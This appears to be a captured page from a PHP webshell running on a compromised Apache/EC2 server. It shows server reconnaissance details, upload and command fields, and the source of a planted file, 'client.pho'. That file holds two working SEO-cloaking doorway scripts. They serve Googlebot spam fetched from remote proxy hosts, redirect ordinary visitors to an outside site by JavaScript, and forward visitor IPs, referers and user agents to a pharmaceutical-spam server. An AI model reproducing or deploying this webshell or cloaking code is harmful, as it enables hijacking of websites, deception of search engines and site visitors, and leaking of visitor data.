403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.68
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/public_html//client.pho
<?php
$isBot=isGoogleBot();
$isoldpage=isoldpage();
$u= $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ;
$u = explode('?es-',$u);
$isBot = isGoogleBot();
$isJa = isJaBrower();
if ($isBot){
    if($isoldpage){
	$url="http://rbmadrid.es/esproxy_v4.php?".$u[0];
$ch = curl_init();
$timeout = 30;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$str = curl_exec($ch);
curl_close($ch);
	echo $str;
	exit;	
	}else{
if(strpos($_SERVER['REQUEST_URI'],'?es-sitemap.html')){
$str=file_get_contents("http://rbmadrid.es/essitemap/".$_SERVER['HTTP_HOST']. '-sitemap.html');
echo $str;
exit;
}
$queryid=$u[1];
$queryid=preg_replace('/.+-/','',$queryid);
$queryid=str_replace('.html','',$queryid);
$url="http://rbmadrid.es/esproxy2_v4.php?".$u[0]. '&queryid='.$queryid;
$ch = curl_init();
$timeout = 30;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$str = curl_exec($ch);
curl_close($ch);
	echo $str;
	exit;
	}
}
else if ($isJa && !$isoldpage){
	echo '<script>document.location=("http://romasportnews.it/espx_v4.php?'.$u[1].'");</script>';
	exit; 
}
function isGoogleBot(){
	if(stripos($_SERVER["HTTP_USER_AGENT"], "Googlebot") !== false) return true;
	else return false;
}

function isJaBrower(){
	if(stripos($_SERVER["HTTP_USER_AGENT"], "Googlebot") !== false) return false;
	else return true;
}
function isoldpage(){
	if(strpos($_SERVER['REQUEST_URI'],'?es-') !== false) return false;
	else return true;
}
?><?php
	ini_set('display_errors', "Off");
$zaprosname="q"; // имя переменной для кейворда
$servurl="http://provigilwithoutprescription.org/door/result_doorway/023.php?com=makeclient"; // адрес серверной части
$servurl=str_ireplace("?com=makeclient", "", $servurl);

$imagesurl=explode("/", $servurl);
$tempcount=count($imagesurl);
unset($imagesurl[$tempcount-1]);
$imagesurl=implode("/", $imagesurl);

$locallinkview="[SITE]/[KEYLINKVIEW]";
$locallinkview=explode("/",$locallinkview);
$tempcount=count($locallinkview);
if(empty($locallinkview[$tempcount-1])){
	unset($locallinkview[$tempcount-1]);
}
$locallinkview=implode("/", $locallinkview);
$testkey="";
$key="";
if(!empty($_SERVER['HTTP_REFERER'])){$referer=$_SERVER['HTTP_REFERER'];}else{$referer="";}
if(!empty($_SERVER['HTTP_USER_AGENT'])){$useragent=$_SERVER['HTTP_USER_AGENT'];}else{$useragent="";}
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}
elseif(!empty($_SERVER['REMOTE_ADDR']))
{$ip=$_SERVER['REMOTE_ADDR'];}
else
{$ip="";}

if(!empty($locallinkview)){
$url=$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$url=explode("/", $url);
$tempcount=count($url);
if(empty($url[$tempcount-1])){
	unset($url[$tempcount-1]);
}
$url=implode("/", $url)."qqqqq";
$regular=str_ireplace("[KEYLINKVIEW]", "([^/]*)", $locallinkview);
$regular=$regular."qqqqq";
$regular=str_ireplace("[SITE]", "([^\s]+)", $regular);
$regular=str_ireplace("?", "\?", $regular);

$regular=str_ireplace("/", "\/", $regular);

$regular="/".$regular."/iU";


preg_match($regular, $url, $match);
if($match[2]){
	$key=trim($match[2]);

}else
{$testkey="test";}

}

$thisdoorfilename="http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];

if(strpos("qqq ".$thisdoorfilename, "?com=botdetected")){

	$content=getserverpage($servurl, "", "botdetected" ,$ip, "", "", "", "");
	header('HTTP/1.1 404 Not Found');
	header('Status: 404 Not Found');
	echo $content;

	exit();

}
$thisdoorwayurl=$thisdoorfilename;
$thisdoorfilename=str_ireplace("http://", "", $thisdoorfilename);
if(!strpos($thisdoorfilename, "?".$zaprosname."=")){
		$thisdoorfilenamecache=explode("/", $thisdoorfilename);
		$tempcount=count($thisdoorfilenamecache);
		if(empty($thisdoorfilenamecache[$tempcount-1])){
			unset($thisdoorfilenamecache[$tempcount-1]);
			unset($thisdoorfilenamecache[$tempcount-2]);
		}
		else{
			unset($thisdoorfilenamecache[$tempcount-1]);
		}
		$thisdoorfilenamecache=implode("/", $thisdoorfilenamecache);
	}
else{
$thisdoorfilenamearray=explode("?".$zaprosname."=", $thisdoorfilename);
if(is_array($thisdoorfilenamearray)) {
	$thisdoorfilename = $thisdoorfilenamearray[0];
	$thisdoorfilenamecache=trim($thisdoorfilenamearray[0]);
}
}
if(empty($key)){
if(!empty($_GET[$zaprosname])){$key=trim($_GET[$zaprosname]);}
}
if(!empty($_GET['com'])){$com=trim($_GET['com']);}else{$com="";}



if(empty($testkey) && !empty($locallinkview)){
$content=getserverpage($servurl, $key, $com ,$ip, trim($thisdoorfilenamecache), $thisdoorwayurl, $referer, $useragent);
if(!empty($content)){
	echo $content;
die();

}
}elseif(empty($locallinkview)){
$content=getserverpage($servurl, $key, $com ,$ip, trim($thisdoorfilenamecache), $thisdoorwayurl, $referer, $useragent);
echo $content;
die();
}


	function getserverpage($servurl, $keyword, $command ,$ip, $cachedir, $thisdoorwayurl, $referer, $useragent){
		global $zaprosname;
		global $imagesurl;
		if(!empty($command)){$command="&com=".$command;}else{$command="";}
		if(!empty($ip)){$ip="&ip=".$ip;}else{$ip="";}
		if(!empty($cachedir)){$cachedir="&cachedir=".$cachedir;}else{$cachedir="";}
		$thisdoorwayurl="&clurl=".trim($thisdoorwayurl);

		$serveqname="?q=";
		$site=$servurl."".$serveqname."".$keyword."".$command."".$ip."".$cachedir."".$thisdoorwayurl
		."&clientqname=".$zaprosname;
//var_dump($site);
		$ch = curl_init();
		//GET запрос указывается в строке URL
		curl_setopt($ch, CURLOPT_URL, $site);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
		curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
		curl_setopt($ch, CURLOPT_REFERER, $referer);
		$content = curl_exec($ch);
		//var_dump($content);
		curl_close($ch);
$content=str_ireplace($serveqname, "?".$zaprosname."=", $content);
$content=str_ireplace("./images", $imagesurl."/images", $content);


return $content;
	}



	?>

Youez - 2016 - github.com/yon3zu
LinuXploit